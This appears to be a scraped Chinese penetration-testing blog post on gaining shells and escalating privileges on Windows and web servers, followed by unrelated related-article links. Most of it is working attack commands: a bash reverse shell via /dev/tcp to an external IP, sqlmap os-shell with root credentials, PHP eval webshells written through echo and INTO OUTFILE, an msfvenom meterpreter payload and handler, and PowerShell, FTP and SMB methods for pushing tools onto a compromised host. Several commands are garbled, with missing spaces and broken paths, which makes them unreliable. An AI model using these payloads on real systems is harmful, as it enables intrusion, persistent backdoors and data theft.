windows提权

1.通过sqlmap连接mysql获取shell

(1)直接连接数据库

sqlmap.py -d “mysql://root:123456@127.0.0.1:3306/mysql”–os-shell

(2)通过选择32位或者64位操作系统,获取webshell,执行

bash -i >& /dev/tcp/192.168.1.3/80800>&1

(3)反弹到服务器192.168.1.3,在实际中192.168.1.3为外网独立IP。

(4)通过echo命令生成shell:

echo “?php@eval($_POST['chopper']);?” >/data/www/phpmyadmin/1.php

如果能够通过phpmyadmin管理数据库,则可以修改host为“%”并执行权限更新,下面命令可参考:

use mysql;

update userset host = ‘%’ where user = ‘root’;

FLUSHPRIVILEGES ;

注意:如果数据库中有多个host连接,修改时可能会导致数据库连接出问题。

2.通过msf反弹

(1)使用msfvenom生成msf反弹的php脚本木马,默认端口为4444:

msfvenom -p php/meterpreter/reverse_tcpLHOST=192.168.1.3 -f raw > test.php

(2)在独立IP或者反弹服务器上运行msf依次执行以下命令:

msfconsole

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set LHOST 192.168.1.3  //192.168.1.3为反弹监听服务器IP

show options

run 0 或者exploit

(3)上传并执行php文件

将test.php上传到192.168.1.2服务器上面,访问后即可获取msf反弹shell

http:// 192.168.1.2:8080/test.php

3.通过phpmyadmin管理界面查询生成webshll

select ‘<?php @eval($_POST[cmd]);?>’INTOOUTFILE ‘D:/work/WWW/antian365.php’

我们在做渗透测试的时候会经常遇到存在命令执行的Windows服务器,而且不能上传shell,唯一的入口就是命令执行,这种情况下,我们需要向服务器上传一个大一点的工具,如何实现,这就是本文章主要的内容。

利用http协议下载文件

利用vbs下载

将下面的代码保存为test.vbs

执行如下语句:

cscript test.vbs

利用powershell下载

将如下代码保存为test.ps1

$p = New-Object System.Net.WebClient$p.DownloadFile("http://domain/file" "C:\%homepath%\file")

执行.test.ps1

有的时候PowerShell的执行权限会被关闭,需要使用如下的语句打开。

powershell set-executionpolicy unrestricted

利用ftp协议下载文件

1 创建一个ftp服务器,或者使用公共的ftp服务器

2 将下面的代码保存为test.txt

ftp 127.0.0.1
username
password
get fileexit

3 执行下面的命令

ftp -s:test.txt

利用smb协议拷贝文件

1 在公网创建一个共享如:\111.111.111.111test$

2 命令行下执行net use \111.111.111.111test$ /u:test test

3 最后上传文件到共享,命令行下拷贝:copy \111.111.111.111test$test.exe c:\

利用echo直接写文件

使用nishang的powershell工具包对上传的文件进行处理,然后使用echo到文件中,最后再转为原始文件。

下载地址:https://github.com/samratashok/nishang

具体操作步骤:

1 将文件转为hex

PS > .\ExetoText.ps1 evil.exe evil.txt

2 将hex的值echo到文件中

3 将hex转为原始文件

PS > .\TexttoExe.ps1 evil.text evil.exe

总结

这几种方式的利用场景是在我们发现一个服务器存在命令执行,而且还是一台Windows,在不依赖其他工具的前提下,使用Windows自带的命令将我们需要的工具上传到服务器的姿势。以上的脚本文件都可以使用echo 的方式保存到服务器上,然后再利用这些姿势上传大一点的工具等文件。欢迎大家补充各种姿势。

获得shell的几种姿势的更多相关文章

  1. 两个文件去重的N种姿势

    最近利用shell帮公司优化挖掘关键词的流程,用shell替代了多个环节的操作,极大提高了工作效率. shell在文本处理上确有极大优势,比如多文本合并.去重等,但是最近遇到了一个难搞的问题,即两个大 ...

  2. 快速了解IOC的几种姿势

    一.首先我们了解IOC如何注入的几种姿势 构造函数注入(Constructor Injection) Ioc容器会智能的选择和调用合适的构造函数以创建依赖的对象.如果被选择的构造函数具有相应的参数,I ...

  3. Linux 下Shell 脚本几种基本命令替换区别

    Shell 脚本几种基本命令替换区别 前言:因为工作需要,需要编写 shell script .编写大量 shell script 时,累计了大量经验,也让自己开始迷糊几种函数输出调用的区别.后面和 ...

  4. 又拍云张聪:OpenResty 动态流控的几种姿势

    2019 年 1 月 12 日,由又拍云.OpenResty 中国社区主办的 OpenResty × Open Talk 全国巡回沙龙·深圳站圆满结束,又拍云首席架构师张聪在活动上做了< Ope ...

  5. 补习系列(7)-springboot 实现拦截的五种姿势

    目录 简介 姿势一.使用 Filter 接口 1. 注册 FilterRegistrationBean 2. @WebFilter 注解 姿势二.HanlderInterceptor 姿势三.@Exc ...

  6. python中执行shell的两种方法总结

    这篇文章主要介绍了python中执行shell的两种方法,有两种方法可以在Python中执行SHELL程序,方法一是使用Python的commands包,方法二则是使用subprocess包,这两个包 ...

  7. python打开文件的N种姿势

    # python打开文件的N种姿势 print('[1]使用open()函数+简单for循环') f1 = open('python.txt') for line in f1: print(line. ...

  8. [转]地图投影的N种姿势

    此处直接给出原文链接: 1.地图投影的N种姿势 2.GIS理论(墨卡托投影.地理坐标系.地面分辨率.地图比例尺.Bing Maps Tile System)

  9. 启动bash shell的三种方式下,检查的启动文件

    启动bash shell的三种方式 1.登录时当做默认登录shell 2.作为非登录shell的交互式shell 3.作为运行脚本的非交互shell 一.登录shell 登录Linux系统时,bash ...

随机推荐

  1. elasticsearch http 搜索 测试

    1.查询所有的documents http://192.168.43.45:9200/_search boost parameter 细粒度搜索条件权重控制 如:组装多个查询条件,其中一个匹配的想要优 ...

  2. 快学Scala 第二十二课 (apply和unapply)

    apply和unapply: apply方法经常用在伴生对象中,用来构造对象而不用显式地使用new. unapply是当做是伴生对象的apply方法的反向操作.apply方法接受构造参数,然后将他们变 ...

  3. 手把手带你体验Stream流

    前言 只有光头才能变强. 文本已收录至我的GitHub仓库,欢迎Star:https://github.com/ZhongFuCheng3y/3y 上一篇讲解到了Lambda表达式的使用<最近学 ...

  4. mobaxterm使用手册

    Mobaxterm V14使用手册 文章出处    https://blog.51cto.com/937761/2372598 简介 MobaXterm 一款Windows系统下全功能终端软件.以下将 ...

  5. 基于.Net core3.0 开发的斗图小程序后端+斗图小程序

    为啥要写这么一个小程序? 作为互联网的原住民. 90后程序员的我,从高中开始发QQ小表情. 到之后的熊猫头,蘑菇头. 可以说表情包陪伴我从学校到社会,从青少年到中年.. 而且因为斗图厉害,还找到一个女 ...

  6. 同步与互斥_percpu变量

    percpu变量的关键就是:要求根据CPU的个数,在内存中生成多份拷贝,并且能够根据变量名和CPU编号,正确的对各个CPU的变量进行寻址. 采用per-cpu变量有下列好处:所需数据很可能存在于处理器 ...

  7. linux netlink通信机制简介

    一.什么是Netlink通信机制  Netlink套接字是用以实现用户进程与内核进程通信的一种特殊的进程间通信(IPC) ,也是网络应用程序与内核通信的最常用的接口. Netlink 是一种特殊的 s ...

  8. 网页布局——Flex弹性框布局

    布局的传统解决方案,基于盒状模型,依赖 display 属性 + position属性 + float属性.它对于那些特殊布局非常不方便,比如,垂直居中就不容易实现. 需要安卓4.4及以上版本可以使用 ...

  9. python编程基础之九

    原码, 反码, 补码原码,即用二进制表示正数: 原码 == 反码 == 补码负数: 反码: 原码除符号位之外全部取反 补码: 反码 + 1 位运算:运算符 作用 & 按位与 | 按位或 ^ 按 ...

  10. java IO、NIO、AIO详解

    概述 在我们学习Java的IO流之前,我们都要了解几个关键词 同步与异步(synchronous/asynchronous):同步是一种可靠的有序运行机制,当我们进行同步操作时,后续的任务是等待当前调 ...